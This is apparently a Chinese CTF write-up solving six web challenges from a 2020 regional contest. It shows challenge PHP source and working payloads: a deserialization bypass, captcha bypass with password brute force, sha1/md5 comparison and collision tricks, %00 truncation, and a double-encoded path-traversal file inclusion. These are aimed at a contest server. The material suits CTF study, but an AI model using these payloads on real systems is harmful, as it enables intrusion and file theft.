复现2020区赛部分web题
当时是2020.10.23吧,大概只学了3个月,一点web都没会哈哈,只刷了一些杂项题 所以基本没有动web题,正好朋友发了一下当时的部分web题来,题目可能不全呵呵
祝大家中秋快乐~
web1
查看页面源代码即可

web2
查看源代码得:
<?php   
    class flag{
        private $file = 'index.php';
        public function __construct($file){
            $this->file = $file;
        }
        function __wakeup(){
            $this->file = 'index.php';
        }
        function __destruct(){
            echo file_get_contents(str_ireplace(['fl@g','/','\\'],'',$this->file));
        }
    }
后面传东西可以看到新加的提示:
$file = @base64_decode(file_get_contents($_GET['file'],'r'))
$gogogo = @unserialize($file);
或者随便传一个反序列化就可以拿源码:(这里就不贴出来了,访问下面连接看源码即可)
http://8.130.27.133/web2/?file=data://text/plain,Tzo0OiJmbGFnIjowOnt9
过滤了$safe = '/pass|etc|eval|system|file|data|biubiubiu/';
三个考点:
- 伪协议data或php://input绕过file_get_contents
- 因为_wakeup方法会令file为index.php,修改序列化数据后的属性数目即可绕过
- str_ireplace(['fl@g','/','\\'],'',$this->file),会把匹配到的东西换为空,双写绕过
按上面三点构造payload
<?php
class flag{
    private $file = 'flfl@@gg.php';
}
$a = new flag();
echo base64_encode(serialize($a));
# Tzo0OiJmbGFnIjoxOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbGZsQEBnZy5waHAiO30=
然后base64转码回来:O:4:"flag":1:{s:10:"flagfile";s:12:"fl@fl@gg.php";}
把1改为2再base64编码:Tzo0OiJmbGFnIjoyOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbEBmbEBnZy5waHAiO30=
最终payload:
http://8.130.27.133/web2/index.php?file=data:text/plain,Tzo0OiJmbGFnIjoyOntzOjEwOiIAZmxhZwBmaWxlIjtzOjEyOiJmbEBmbEBnZy5waHAiO30=
ps:
这里自己没有注意private属性的不可见字符的问题,没有在写脚本的时候直接base64编码, 而是复制再用hackbar的base64编码,这就导致了其不可见字符没有传入进去
导致一直没能成功反序列化,求助了群里的师傅们,这里得感谢华泽师傅,才让我意思到自己的问题所在
web3

f12看到提示 <!-- 初始4位密码,请及时修改 -->
并且会检测用户名是否存在,还有验证码
简单的绕过验证码爆破
抓包改包爆破:


用户名/密码为admin/8461

web4
还是两登录框
右键查看源代码:
<?php
$flag='flag{*********************}';
if(isset($_GET['username']) && isset($_GET['password'])){
    if ($_GET['username']==$_GET['password']) {
        echo('密码不能与账户相同');
    }else{
        if(sha1($_GET['username'])==sha1($_GET['password'])){
            if (md5(implode('',$_GET['username']))===md5(implode('',$_GET['password']))){
                die($flag);
            }else{
                echo('账户与密码md5值不相等');
            }
            
        }else{
            echo('账户与密码sha1值不相等 :(');
        }
    }
}
- sha1弱比较:数组绕过,传入数组的会让sha1()返回false,最终使得两边都为false 
- md5强比较: - md5 值碰撞绕过,可以跑脚本出来,这里用之前记下的payload - a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
- 数组绕过: 类似sha1(),通过传入两个不相等的数组,使得 md5加密失败返回空,最终 null=null 不过这里用implode()会先把数组元素拼接成字符串再进行md5加密,这个方法也就失效了 
 
最终payload:
username[]=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&password[]=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

补充一个解法
http://8.130.27.133/web4/?username=aaroZmOk&password=aaK1STfY

这里得感谢陈姐,提出了这个非预期;感谢冰姐,让我重新深入了解一下这个原理
这两个值是sha1后为0exxx的值,也就成功绕过第一个if语句了
重点在第二个md5比较 能过不是因为md5值相等,是因为implode的要求参数为数组,传入非数组则会警告并返回NULL,两边为NULL也就过了~
(通常$_GET和$_POST传入的值为字符串,像?username[]=xxx&password=xxx这样才是数组的传入形式)

web5
直接给源码:
<?php
$white_list = range(1,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){
    $a=$_REQUEST['no'];
    if(@ereg("^[1-9]+$", $a) === FALSE){
        echo 'must be number and not zore';
    }else{
        if(in_array($a,$white_list)){
            if(strlen($a)>1){
                echo 'you are a great dark phper<br>';
                echo $flag;
            }else{
                echo 'you no dark';
            }
        }else{
            echo 'you are so dark';
        }
    }    
}else
    highlight_file(__FILE__);
审计一下可知想拿到flag需要满足:
- 传入的参数必须等于1-9的任意一个
- 传入的参数长度大于1
考点是%00截断: 在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束
payload:
http://8.130.27.133/web5/?no=1%00

web6
就是buu的warmup
# http://8.130.27.133/web6/source.php
# hint.php:flag in flag
# 这里只贴主要部分
<?php
    highlight_file(__FILE__);
    class ReadFile
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && ReadFile::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br>CTF CHALLENGE";
    }  
?>
需要传入的file:非空且为字符串,并且ReadFile类的checkFile方法判断为真即可包含文件
那重点看这个ReadFile类的checkFile方法
- $page未定义或非字符串则返回false
- $page匹配- $whitelist中的某个值则返回true
- $_page赋值为- $page的0到第一个问号之间的字符串,若- $_page匹配- $whitelist中的某个值则返回true
- 对$_pageurl解码后赋值为:$page的0到第一个问号之间的字符串,若$_page匹配$whitelist中的某个值则返回true
那么使其为true就很简单了
构造payload,目的是通过第三次验证触发true
source.php和hint.php都在$whitelist里,用于截断
%253f是问号二次url编码的结果,因为浏览器会进行一次url解码,所以要二次编码来触发第三次判断的url解码
http://8.130.27.133/web6/source.php?file=
source.php%253f/../../../../../../flag
或
hint.php%253f/../../../../../../flag
反正就是这样了hh
